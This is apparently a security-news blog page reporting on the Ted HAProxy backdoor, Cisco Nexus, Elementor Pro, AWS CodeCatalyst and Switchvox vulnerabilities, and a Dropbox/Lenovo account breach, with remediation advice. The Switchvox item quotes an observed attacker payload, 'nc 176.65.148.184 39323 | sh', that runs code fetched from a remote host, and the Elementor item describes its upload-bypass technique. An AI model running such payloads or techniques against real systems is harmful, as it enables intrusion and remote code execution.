Search This Blog

Powered by Blogger.

Blog Archive

Labels

Footer About

Footer About

Labels

Latest News

Trezor Data Breach Rises to 67,000 US Customers

Hardware cryptocurrency wallet organization Trezor has disclosed that additional 67,000 customers in the US have been impacted by a data bre...

All the recent news you need to know

Malicious Ted Backdoor Conceals Itself Inside HAProxy Builds for Traffic Monitoring


Two South Korean organizations have been identified as being infected with a previously undocumented Linux backdoor embedded directly within custom versions of HAProxy load balancers. Based on debug strings found in the binary, Ted was able to intercept web traffic and deliver modified content to selected users. 

The activity was attributed with medium confidence to North Korean state-sponsored threat actors by Rapid7 Labs. Affected organizations are members of South Korea’s automotive and media industries. As a result, Ted implant appears to have been designed to maintain access to compromised systems while remaining difficult to detect by routine monitoring. 

The Ted implant did not result from a vulnerability in HAProxy. An attacker must obtain code execution on the affected host in order to deploy the backdoor, which requires replacing the legitimate HAProxy binary with a modified version. As observed, the backdoor is bundled with HAProxy 2.8.12, enabling the malicious code to operate alongside the load balancer's legitimate functions. 

As opposed to running as a separate suspicious process, Ted utilizes HAProxy’s filter API, memory pools, event scheduler and process management components. It is possible for the implant to observe HTTP traffic while the server is performing normal load-balancing activities. It is possible to monitor high-value web requests, capture session cookies, and identify certain clients for traffic manipulation using the backdoor. Additionally, malicious scripts may be injected into pages delivered to targeted visitors. 

The integration of this activity with an existing network component makes it difficult to identify the activity by conventional process or file-based monitoring mechanisms. Additionally, Ted is equipped with a concealed command-and-control feature. By sending a request to the filter targeting specific image paths, the filter will be switched to C2 mode. This implant manages the command traffic within HAProxy rather than forwarded to a backend server, while removing the connection from HAProxy's live connection counter.

After writing the command data to /tmp, the request channel is cleared. A load balancer terminates the connection, preventing the backend server from receiving a corresponding request. Therefore, neither backend logs nor HAProxy's normal connection statistics are able to provide a detailed account of C2 activity. 

Rapid7 emphasized that additional evidence must be provided before definitively attribution can be made to North Korean operators. This assessment is supported by the targeting of South Korean organisations, combined with the infrastructure and malware characteristics associated with activities linked to the DPRK. 

In addition to the HAProxy implant, Rapid7 identified a more comprehensive toolkit. During the same operation, modified versions of crond, sshd, Agetty, Atd, and Pollkitd were also utilized, giving operators a number of ways to maintain access and collect data from compromised systems. Upon discovering the stager, it was discovered that the additional components were only deployed on systems that already contained HAProxy or cron. 

The malicious replacement for crond was also crafted to closely replicate the legitimate system binary, including adopting a matching creation timestamp, prior to proceeding. The shell history was also modified to remove references to commands and files involved in the intrusion, as well as several system logs were modified to minimize evidence of the intrusion. SSHd was trojanized to serve a direct credential theft function.

It captured plaintext passwords before encrypting and storing them at a fixed location on the compromised host. Rapid7 tracked curlRAT as another component that provided operators with remote access and communication. It normally contacts its control infrastructure every 12 hours, but may switch to a 30-second interval if instructed to do so. Prior to being executed, the malware also checked for a marker indicating that the system was virtualized. 

Attribution Points to North Korean Activity

In Rapid7's assessment, North Korean state-sponsored actors were identified as being responsible for the campaign. It is consistent with an espionage-focused operation that South Korean automotive and media companies were targeted, even though available evidence does not specify how the victims were initially compromised. 

APT37-associated threat intelligence records contain some infrastructure linked to the toolkit. However, Rapid7 cautions that the evidence spans several North Korean threat clusters, making attribution more difficult because the broader delivery approach is similar to previous campaigns targeting South Korean organizations.

SyncHole, which was an earlier campaign that selectively redirected visitors to South Korean websites, also has similarities to the research. In campaigns designed to target specific users without disrupting normal website activity, traffic filtering and selective content delivery remain effective techniques. 

HAProxy Builds Create a Difficult Detection Problem

There was an infection in both affected organizations with HAProxy 2.8.12, released in November 2024. The implant is based on internal structures related to that specific release, suggesting that the malicious code has been constructed around existing software environments in both organisations.

In addition to updating HAProxy, the threat resides within a replaced binary, rather than exploiting a HAProxy flaw, and would not be removed by updating alone. The case also emphasizes the difficulty of identifying malicious code embedded in trusted infrastructure when it is complemented by network correlation and memory-based behavioral analysis. 

In addition to continuing to handle legitimate traffic normally, a compromised load balancer provides attackers with a concealed position through which they can inspect traffic, collect credentials, and execute commands.

Critical Nexus 9000 Flaw Could Permit Threat Actors to Gain Root Access


Cisco has issued security patches to fix a critical vulnerability impacting 10 Silicon One-based Nexus 9000 switches that could permit an unauthorized, remote threat actor to execute code with root privileges.

About the flaw

This flaw arises because the default Layer 3 (L3) virtual routing and forwarding (VRF) allows access to TCP ports 43210 and 43211. If the exploit is effective, the attacker may be able to connect to the compromised device and submit manipulated input that could be run as root-level code. Additionally, if this vulnerability is exploited, the S1HAL process may crash and the device may need to reload.

Who is impacted?

The Nexus vulnerability, tracked as CVE-2026-20212, with a CVSS score of 9.8, was reported on September 2 by Cisco. The vulnerability impacts a few Nexus 9000 switches consisting of Silicon One ASICs, which can result in either device outages or remote code execution.

According to Cisco,  Nexus 9000 Series Switches with the following product identifiers (PIDs) included a Silicon One ASIC, are vulnerable:

  • N9324C-SE1U
  • N9348Y2C6D-SE1U
  • N9364E-SG2-O
  • N9364E-SG2-Q
  • N9396T12C-SE1
  • N9348Y12C-SE1
  • N9396Y12C-SE1
  • N9336C-SE1
  • N9K-C9804
  • N9K-C9808

If effectively abused, the threat actor could run code with root-level privileges on the switch, This can allow attackers to modify the device, compromise traffic travelling via the infrastructure, and disturb the network operations.

According to Cisco, Nexus 9000 switches working in ACI mode and other Cisco and Nexus product families are not impacted. Admins can use the show module command to find the product ID of a Nexus switch and decide if it is in the impacted range.

The following products are not vulnerable, according to Cisco advisory:

  • Firepower 1000 Series
  • Firepower 2100 Series
  • Firepower 4100 Series
  • Firepower 9300 Security Appliances
  • MDS 9000 Series Multilayer Switches
  • Nexus 3000 Series Switches
  • Nexus 7000 Series Switches
  • Nexus 9000 Series Switches other than the models listed in the Vulnerable Products section
  • Nexus 9000 Series Fabric Switches in ACI mode
  • Secure Firewall 200 Series
  • Secure Firewall 1200 Series
  • Secure Firewall 3100 Series
  • Secure Firewall 4200 Series
  • Secure Firewall 6100 Series
  • UCS 6300 Series Fabric Interconnects
  • UCS 6400 Series Fabric Interconnects
  • UCS 6500 Series Fabric Interconnects
  • UCS 6600 Series Fabric Interconnects
  • UCS X-Series Direct Fabric Interconnect 9108 100G

Cisco has launched software updates to patch the flaw. It has also advised customers to upgrade to a fixed NX-OS release. Cisco has also launched a Live Protect Shield as a temporary fix for impacted executions, but urges that it is only temporary until a complete software upgrade is available.

Elementor Pro WordPress Flaw Exploited to Upload Webshells and Execute Commands

 

A critical vulnerability in the Elementor Pro WordPress plugin is being actively exploited to upload malicious PHP files and execute commands remotely on the affected websites. 

The vulnerability, tracked as CVE-2026-32475, affects the Elementor Pro versions 4.2.1 and lower. This issue was patched on August 19. Elementor Pro has more than 6 million active installations and is widely used to design WordPress websites with drag-and-drop tools. 

The vulnerability is related to the insufficient validation of file-upload arrays in Elementor Pro forms. Attackers can exploit this issue by uploading an empty file as the first element of the upload array and a malicious PHP file as the second. Then the plugin will not validate the following files in the array, thus allowing the attacker-controlled PHP payload to be successfully uploaded on the server without any additional checks. 

Once the malicious file is uploaded, it will be stored on the /wp-content/uploads/elementor/forms/ directory with a randomly generated name but preserving the attacker’s .php extension. Then the attacker will be able to directly access this file on the server to execute arbitrary commands and potentially deploy a webshell for further attacks. To successfully exploit the vulnerability, an attacker needs to have access to a WordPress website with a published Elementor Pro Form widget that contains at least one File Upload field. 

This is a relatively common case for WordPress websites that utilize Elementor Pro forms. WordPress security company Defiant, which operates the Wordfence firewall, noted that exploitation began on August 19, the same day Elementor released the 4.2.2 version to address the vulnerability. Wordfence observed that the traffic was especially heavy between August 19 and 23, having blocked more than 190,000 attempts to target its customers. 

Wordfence has identified IP addresses that were responsible for thousands of exploitation attempts. Website administrators can add these addresses to their blocklists to protect their WordPress sites. Administrators that utilize Elementor Pro need to make sure to update their software to the latest versions, preferably 4.2.2 or newer. Moreover, they should check their /wp-content/uploads/elementor/forms/ directories for any unexpected .php files. 

As the name suggests, the directory is supposed to contain the files that users upload with Elementor forms, meaning that the discovery of any .php files should be investigated and potentially result in an intrusion assessment.

AWS CodeCatalyst Blueprints SDK Hit by High-Severity Command Injection Flaw


There is a high-severity attack on Amazon CodeCatalyst blueprints that exploits an open-source framework for building them. This vulnerability has been reported by Amazon Web Services. This flaw affects the @amazon-codecatalyst/blueprints.blueprint npm package and can lead to the execution of arbitrary commands in environments operating blueprint resynthesis. 

The Amazon CodeCatalyst blueprints serve as template documents for creating software development projects that can be reused. npm package that is affected provides the framework that blueprint authors use to construct these templates and is part of the open-source project AWS CodeCatalyst Blueprints. 

During blueprint resynthesis, a vulnerability occurs in the process of determining which files an existing project may modify based on its .ownership-file, which is used to determine whether blueprints can modify them. Versions 0.3.155 and earlier handled the owner field of an entry containing a [local] merge strategy without adequate validation, which left it vulnerable to shell command interpretation. 

A repository user with access to commit permissions could potentially use shell metacharacters to alter the affected field. In the context of resynthesis, those characters could be interpreted as commands by the operating system, allowing arbitrary commands to be executed in the resynthesis environment. The executed commands could consequently expose all privileges or credentials available in that environment. 

Amazon has rated CVE-2026-85012 as 8.5 on the CVSS 4.0 scale, indicating that it is a high-severity vulnerability. Under CWE-78, which describes improper neutralization of special elements in operating system commands, this vulnerability has been classified as high severity. Amazon CodeCatalyst service deployments that utilize vulnerable versions of the blueprint framework are affected by this issue as opposed to the CodeCatalyst service itself. 

As stated by Amazon, CodeCatalyst's resynthesis process operates in a separate environment with unique credentials for each project. Additionally, the service performs server-side validation to block merge strategy commands unless they conform to a restricted allowlist, including older blueprint versions. 

AWS Releases Fix for CVE-2026-85012

It has been reported that Amazon has corrected this vulnerability in version 0.3.156 of @amazon-codecatalyst/blueprints.blueprint, which reverts to shell-based command interpretation and executes the relevant command directly in place of shell-based command interpretation. In addition, the patched release restricts accepted values to an allowlisted command format, closing the injection path identified in CVE-2026-85012. 

Shell metacharacters are prevented from being interpreted during blueprint resynthesis as additional commands, closing the injection path identified in CVE-2026-85012. There are versions of the package 0.3.155 and earlier that are affected, so Amazon recommends upgrading to version 0.3.156, with forked and derivative implementations also requiring the appropriate security updates. There is no need for Amazon CodeCatalyst customers to respond to this vulnerability on the service-side. 

Resynthesis jobs within the service are conducted in isolated environments assigned to specific projects, using scoped credentials. Server-side checks are also applied by AWS to reject [local] merge strategy commands that do not conform to the approved format. In addition, these protections apply when blueprints are published using versions of the framework prior to version 0.3.156. 

The primary remediation concern is those projects or development environments that directly utilize the affected open-source framework following the implementation of the package-level fix. This updates the dependency, therefore removing the vulnerable shell execution behavior, and resolving the underlying issue of command injection described in CWE-78.

By removing shell interpretation and enforcing an allowlisted command format, version 0.3.156 resolves the underlying command injection issue. Users who are currently using version 0.3.156 should take the necessary steps to update their SDK.

Dropbox Says 5,000 Accounts Compromised After Flaw in Lenovo Login System

 


Dropbox has confirmed that hackers broke into roughly 5,000 user accounts last month by exploiting a weakness in how Lenovo verifies email addresses, allowing intruders to log into victims' cloud storage without ever knowing their passwords.

The cloud storage company began notifying affected users this week, telling them that an "unauthorized party" had accessed their accounts between August 4 and August 21. In some cases, the notification said, the attacker viewed or downloaded files stored in the account.

What makes the incident unusual is that Dropbox's own systems were never breached. The company lets users sign in with a Lenovo ID, a login credential tied to Lenovo's Identity Provider Services, as an alternative to a Dropbox password. According to Dropbox, a flaw in Lenovo's email verification process let an outside party register a Lenovo ID using someone else's email address. Once that fraudulent ID was created, the attacker could use it to log straight into the Dropbox account tied to that same email, bypassing the account's actual password entirely.

Dropbox's system trusted Lenovo's confirmation that the attacker owned the email address and did not ask for any additional check through the user's normal Dropbox login. Some of the people affected told Dropbox they had never signed up for a Lenovo ID in the first place, yet their accounts were still reachable through the integration.

A handful of users noticed something was off before Dropbox sent out its warning. One person, posting on Hacker News under the handle xaphod, said they had gotten alerts about suspicious sign-ins roughly two weeks earlier and changed their password and turned on two-factor authentication right away. They also noted that the Dropbox login page had started showing a "Continue with SSO" option tied to their email, despite never having created a Lenovo account.

Dropbox told Reuters that about 5,000 accounts were affected in total, and that none of them had two-factor authentication switched on, which is part of why the fraudulent logins went through unchallenged. Files were viewed or downloaded in fewer than a third of those accounts, a company spokesperson said. Bloomberg, which first reported the breach, cited Dropbox statements and internal records describing hackers browsing and pulling material that users had stored on the platform. Shares of Dropbox slipped about 2.4% in after-hours trading once the news broke.

Lenovo, for its part, described the problem as tied to a "legacy integration" between Lenovo ID and Dropbox that could be misused to improperly authenticate certain Dropbox accounts. A company spokesperson said Lenovo and Dropbox worked together to contain the issue once it was identified, and that Lenovo's own customer accounts were not compromised as a result. Both companies said their investigations are continuing.

Once it understood what was happening, Dropbox expired every session that had been authenticated through a Lenovo ID and cut the link between the two systems altogether. Going forward, anyone signing in through a Lenovo ID will also have to enter their Dropbox password, closing the gap that let the fraudulent logins succeed without one. The company said it has reported the incident to data protection regulators, as required in jurisdictions covered by breach notification rules.

For affected users, Dropbox's advice mirrors standard breach guidance: change the Dropbox password, change the password on the linked email account, and enable two-step verification if it isn't already on. Security researchers reviewing the incident have also suggested checking active sessions, connected third-party apps, shared links, and recent file activity for anything unfamiliar, along with account recovery settings that an attacker could have altered while inside.

The breach adds to a run of recent incidents built around federated login systems rather than direct server intrusions. Security teams have flagged this pattern for years: as more services link their sign-in process to outside identity providers to make logging in more convenient, a flaw in any one partner can end up exposing accounts across the whole chain, even for users who never signed up with that partner directly.

Dropbox has not said whether it plans to end the Lenovo ID integration entirely or continue it under the new password requirement. The company said users who did not receive a direct notification from Dropbox were not affected by the incident.

Switchvox Vulnerability Triggers Active Exploitation Risk

 

Sangoma Switchvox CVE-2026-9586 is a serious unauthenticated SQL injection flaw that can lead to remote code execution, and Horizon3 says it has already seen real-world exploitation attempts. The issue was patched in Switchvox 8.4.0.2, making rapid remediation important for exposed systems. 

Horizon3’s research says Switchvox is an enterprise VoIP management platform used for voicemail, call forwarding, monitoring, and analytics. The vulnerability sits in an unauthenticated HTTP endpoint handled by PhoneAppsHandler.pm, where XML input is parsed and the PhoneIP field is inserted directly into a SQL query without validation. 

That weak input handling can let an attacker inject SQL into the backend, and the blog describes how the query executes with PostgreSQL superuser privileges. Horizon3 notes that this design makes exploitation especially dangerous because the flaw can progress from a single request to code execution on the device. 

The post also highlights indicators of compromise, including activity in /var/log/switchvox/db-quirks.log. In one observed case, attackers used a payload involving nc 176.65.148.184 39323 | sh, then followed up with commands to enumerate processes and exfiltrate results through a remote server. 

The disclosure timeline shows Horizon3 reported the issue on 10 April 2026, Sangoma released the fix on 14 July 2026, and Defused Cyber honeypots recorded valid exploitation on 30 August 2026. Horizon3 also says Shodan showed roughly 4,000 internet-exposed Switchvox devices, which suggests a broad attack surface for organizations that have not patched yet. 

Safety recommendations 

Upgrade immediately to Switchvox 8.4.0.2 or a later supported release, since that version contains the fix for CVE-2026-9586. If patching cannot happen right away, restrict access to the Switchvox web interface and /pa endpoint with firewalls, VPNs, and network segmentation, and avoid direct internet exposure. Security teams should also review /var/log/switchvox/db-quirks.log, inspect outbound traffic for suspicious connections, and investigate any indicators tied to the observed attacker IP.

Featured